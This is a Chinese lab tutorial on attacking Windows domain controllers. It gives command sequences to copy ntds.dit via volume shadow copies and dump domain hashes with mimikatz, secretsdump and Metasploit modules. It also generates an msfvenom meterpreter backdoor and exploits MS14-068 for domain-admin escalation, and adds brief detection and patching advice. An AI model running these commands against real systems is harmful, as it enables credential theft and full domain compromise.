作者:C1ay,转载于国科漏斗社区。
一、前言
在本篇文章中斗哥将继续为大家介绍一些攻击域控制器时常用的一些方法,为了方便演示,斗哥是直接在目标域控制器下进行一系列操作的,在真实环境下,大家需要通过 MSF、CS 等内网渗透工具获取目标主机权限时才可以执行后续操作。
二、域控制器攻击
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。
2.1 通过卷影拷贝服务提取ntds.dit
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导( DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012。
1、创建快照,命令如下。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到这里会创建一个GUID为e48cb66b-7d5e-4e2d-acb7-cf16ae409d16的快照。
2、挂载快照,命令如下。
ntdsutil snapshot "mount {GUID}" quit quit
其中GUID的值为刚刚创建的快照的GUID
可以看到快照被加载到了C:\目录下。
3、拷贝快照,命令如下。
copy C:\$SNAP_202106111326_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
该命令用于将C:\\windows\ntds\ntds.dit复制到本地的c:\windows\temp\ntds.dit下。
4、卸载删除快照,命令如下。
ntdsutil snapshot "unmount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" "delete {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" quit quit
其中的e48cb66b-7d5e-4e2d-acb7-cf16ae409d16为最开始创建的快照的GUID的值。
5、查看快照,命令如下。
ntdsutil snapshot "List All" quit quit
可以看到找不到快照了,说明快照已经成功卸载删除了。
vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。
1、创建一个C盘的卷影拷贝,命令如下。
vssadmin create shadow /for=c:
2、将创建的卷影拷贝中的ntds.dit复制出来,命令如下。
copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit
打开c盘,可以看到ntds.dit成功创建。
3、删除卷影,命令如下。
vssadmin delete shadows /for=c: /quiet
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
下载地址:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
1、启动卷影拷贝服务,命令如下。
cscript vssown.vbs /start
2、创建一个C盘的卷影拷贝,命令如下。
cscript vssown.vbs /create c
3、列出当前的卷影拷贝,命令如下。
cscript vssown.vbs /list
4、将ntds.dit复制出来,命令如下。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit
dir c:\ | findstr "ntds"
该命令可以查看ntds.dit文件是否成功复制。
5、删除卷影拷贝,命令如下。
cscript vssown.vbs /delete {198D6716-2CC7-4AED-A011-4007EC8D0A7B}
{198D6716-2CC7-4AED-A011-4007EC8D0A7B}是卷影的ID,可以通过cscript vssown.vbs /list 进行查看。
除了按照前面介绍的方法通过执行命令来提取ntds.dit,也可以使用创建一个IFM 的方式获取ntds.dit。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit 和计算机的SAM文件复制到目标文件夹中等操作。`
在域控制器中以管理员模式打开命令行环境,输入如下命令。
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
运行该命令会在c盘下创建一个test文件夹,里面存放着ntds.dit,SYSTEM和SECURITY。
也可以直接导入nishang中的Copy-VSS.ps1脚本,命令如下。
Import-Module .\Copy-VSS.ps1
Copy-VSS
通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。
diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit。
diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令。
我们可以使用 diskshadow.exe 来执行计算器。
1、通过echo创建文件
echo exec c:\windows\system32\calc.exe > c:\command.txt
2、使用diskshadow.exe执行创建的文件。
diskshadow.exe /c c:\command.txt
可以看到计算器成功弹出,命令成功执行。
现在我们来用diskshadow.exe 导出ntds.dit,命令如下。
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
在使用diskshadow.exe进行导出ntds.dit 的操作时,必须将当前域控制器执行Shell的路径切换到C:\windows\system32\,否则会发错误。路径切换后,使用diskshadow.exe加载command.txt即可。
可以看到ntds.dit文件已经成功导出了。
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
●监控卷影拷贝服务及任何涉及活动目录数据库文件( ntds.dit )的可疑操作行为。
●监控 System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
●监控创建diskshadow.exe及相关子进程的事件。
●监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要,在 Windows操作系统中不应该出现diskshadow.exe。如果发现,应立刻将其删除。
●通过日志监控新出现的逻辑驱动器映射事件。
1、导出ntds.dit
首先下载libesedb,下载地址:https://github.com/libyal/libesedb/releases/tag/20210424
安装依赖环境,命令如下。
apt-get install autoconf automake autopoint libtool pkg-config
依次输入如下命令,对 libesedb 进行编译和安装。
./configure
make
sudo make install
sudo ldconfig
安装完成后,会在系统的 /usr/local/bin 目录下看到 esedbexport 程序。
将刚刚导出的ntds.dit文件放入文件夹中,输入如下命令提取表信息。
esedbexport -m tables ntds.dit
如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。
我们只需要其中的datatable和link_table即可。
2、导出散列值
在ubuntu命令行输入如下命令,下载ntdsxtract。
git clone https://github.com/csababarta/ntdsxtract.git
继续输入如下命令,安装ntdsxtract。
python setup.py build && python setup.py install
将导出的ntds.dit 和 SYSTEM 文件一同放入ntdsxtract文件夹中,输入如下命令。
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
打开 all_user.txt 文件夹即可查看域内的所有用户名及散列值。
也可以执行如下命令,导出域内所有计算机的信息,导出文件的格式是CSV。
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 computer_output --csvoutfile all_computers.csv
可以看到域内所有计算机的信息被成功导出。
1、在ubuntu命令行中输入如下命令下载impacket 工具包。
git clone https://github.com/SecureAuthCorp/impacket.git
2、输入如下命令安装impacket工具包。
python setup.py install
3、将导出的ntds.dit 和 SYSTEM 文件一同放入impacket的example文件夹下,然后输入如下命令。
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
4、也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。
python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6ab6364d6ba0c8556df9ee189342402d -just-dc hacker.testlab/administrator@1.1.1.2
2.3 利用dcsync获取域散列值
mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。但必须使用域管理员权限运行mimikatz才可以读取ntds.dit。在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行 mimikatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值。
lsadump::dcsync /domain:hacker.testlab /all /csv
使用mimikatz的dcsync功能也可以导出指定用户的散列值。执行如下命令,可以直接导出域用户testuser的散列值。
lsadump::dcsync /domain:hacker.testlab /user:testuser
也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行Dump操作,命令如下。
privilege::debug
lsadump::lsa /inject
如果不执行privilege::debug会导致权限不足、读取失败。如果用户数量太多,我们也可以将结果导出到txt文件下进行查看。
mimikatz.exe "privilege::debug" "lsadump::lsa /inject"
结果如下:
可以看到域内的所有账号和散列都被导出来了。
Invoke-DCSyne.ps1可以利用dcsyne直接读取ntds.dit,以获取域账号和域散列值,其下载地
址:What more could you want? · GitHub。
输入如下命令获取域账号和散列值。
Set-ExecutionPolicy Restricted
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat (-PWDumpFormat参数用于对输出的内容进行格式化)
1、进入metasploit环境,输入如下命令查看可以使用的模块。
search ntds
这里列出一些可能会使用到的模块。
post/windows/gather/ntds_location 该模块可查看路径ntds
post/windows/gather/smart_hashdump 在线导出域账户hash 建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab 利用域管账户,导出ntds必要文件到本地
post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump介绍其方法
2、获取一个meterpreter通道
首先通过msfvenom生成后门木马,命令如下。
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.105 lport=7777 -f exe > cc.exe
在本地开启监听。
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.149
set LPORT 7777
run
将后门木马上传到目标机器上并执行,即可得到meterpreter通道。
通过ps查看进程,使用migrate 将会话迁移到64位的进程中。
3、使用模块获取域散列值
1.查看ntds安装路径,命令如下。
run windows/gather/ntds_location
2.通过smart_hashdump查看域内散列值,命令如下。
run windows/gather/smart_hashdump
3.利用powershell下载ntds.dit,命令如下。
use post/windows/gather/ntds_grabber
set session 5
run
将生成的文件复制到root根目录进行查看。
查看生成的文件,可以看到ntds.dit 和 SYSTEM 文件被成功导出了,后面就可以使用工具将散列值导出。
4.利用域管账户,导出ntds必要文件到本地,命令如下。
use auxiliary/admin/smb/psexec_ntdsgrab
show options
set RHOSTS 10.10.10.149
set SMBDomain hackbox
set SMBUser administrator
set SMBPass XXXXXX
run
运行后即可得到ntds.dit文件,通过工具进行导出散列即可。
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
工具准备:
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。
下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip
ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下。
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive
vshadow.exe是从 Windows SDK中提取出来的。
将这三个文件放入同一个文件夹中。
运行ShadowCopy.bat 批处理文件。
可以发现成功导出了 ntds.dit 和 system.hive 文件。
运行如下命令修复复制出来的数据库。
esentutl /p /o ntds.dit
最后通过QuarksPwDump.exe导出域账号和散列值,命令如下。
QuarksPwDump.exe -dhb -sf system.hive -nt ntds.dit -o log.txt
可以看到域账号和散列成功被导出。
2.4 Kerberos 域用户提权漏洞分析域防范
微软在2014年11月18日发布了一个紧急补丁,修复了Kerberos域用户提权漏洞(MS14-068;CVE-2014-6324)。所有Windows服务器操作系统都会受该漏洞的影响,包括Windows Server2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和 Windows Server 2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证TGT后,将服务票据(Service Ticket )发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
●域:0day.org
●域账号:0day\jerry/Admin12345
●域SID:S-1-5-21-1812960810-2335050734-3517558805-1128
●域控制器:OWA2010SP3.0day.org
●Kali Linux 机器的IP地址:192.168.3.128
●域机器的IP地址:192.168.3.71
●域控制器的IP地址:192.168.3.142
PyKEK ( Python Kerberos Exploitation Kit) 是一个利用Kerberos 协议进行渗透测试的工具包,使用PyKEK 可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。
PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作)。
下载地址:GitHub - mubix/pykek: Kerberos Exploitation Kit
1.工具说明
ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本。参数解释如下:
-u \@\:用户名@域名。
-s \:用户SID。
-d \:域控制器地址。
-p \:明文密码。
–rc4 \:在没有明文密码的情况下,通过NTLM Hash登录。
2.查看域控制器的补丁安装情况。
微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780。输入命令”wmic qfe get hotfixid”,未发现该补丁。
也可以通过systeminfo命令查看补丁安装情况。
3.查看用户的SID
在域内主机中输入如下命令,可以查到该用户的SID。
whoami /user
也可以通过 “wmic useraccount get name,sid”,获取域内用户的SID。
4.生成高权限票据
使用PyKEK 生成高权限票据的命令,命令如下。
python ms14-068.py -u jerry@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1128 -d 192.168.3.142 -p Admin12345
5、查看注入前的权限。
先通过dir\\dc\c$ 命令尝试访问C盘下的目录,发现权限不够。
6.清理内存中的所有票据。
通过mimikatz清理票据,命令如下。
kerberos::purge
7.将高权限票据注入内存,命令如下。
kerberos::ptc "TGT_jerry@0day.org.ccache"
8.验证权限
连接IP地址的操作可能会失败,如果失败则使用机器名进行连接即可。
1、打开metasploit,执行如下命令,使用MS14-068漏洞的利用脚本。
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
2、配置参数并执行。
通过show options查看需要配置的参数,通过set进行配置。
在配置完参数后,通过run执行。
会在/root/.msf4/生成文件loot/20210614001845_default_10.10.10.149_windows.kerberos_948359.bin
3、票据格式转换
因为metasploit不支持bin文件的导入,所以要使用mimikatz进行格式转换。在mimikate中输入如下命令,导出kirbi格式的文件。
kerberos::clist "20210614001845_default_10.10.10.149_windows.kerberos_948359.bin" /export
也可以通过KrbCredExport.py 进行格式转换,命令如下。
python KrbCredExport.py 20210614001845_default_10.10.10.149_windows.kerberos_948359.bin user.ticket
4、导入生成的票据文件
将生成的票据文件导入 metasploit 中即可,命令如下。
load kiwi
kerberos_ticket_use /tmp/0-00000000-testuser@krbtgt-C1AY.TESTLAB.kirbi
但是导入不成功,具体原因不知。
也可以通过impacket中的goldenpac.py进行利用,格式如下。
python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
Kali中默认不包含Kerberos 客户端,因此需要单独安装,命令如下。
apt-get install krb5-user -y
然后输入如下命令获取域控制的shell。
python goldenPac.py c1ay.testlab/testuser:c1ay666.@dc.c1ay.testlab
goldenPac.py是通过PsExec获得Shell 的,会产生大量的日志,加之PsExec已经被很多反病毒厂商列为危险文件,所以,在日常网络维护中,我们很容易就能发现攻击者使用goldenPac.py实现的恶意行为。
针对Kerberos域用户提权漏洞,有如下防范建议。
●开启Windows Update功能,进行自动更新。
●手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁。
●对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
●在服务器上安装反病毒软件,及时更新病毒库。
三、后语
在下一篇文章中,斗哥将继续为大家介绍如果目标主机是在一个域林环境时该如何进行跨域攻击以及跨林攻击。
四、参考链接
1、《内网安全攻防渗透测试实战指南》
如有侵权,请联系删除
好文推荐
关注我,学习网络安全不迷路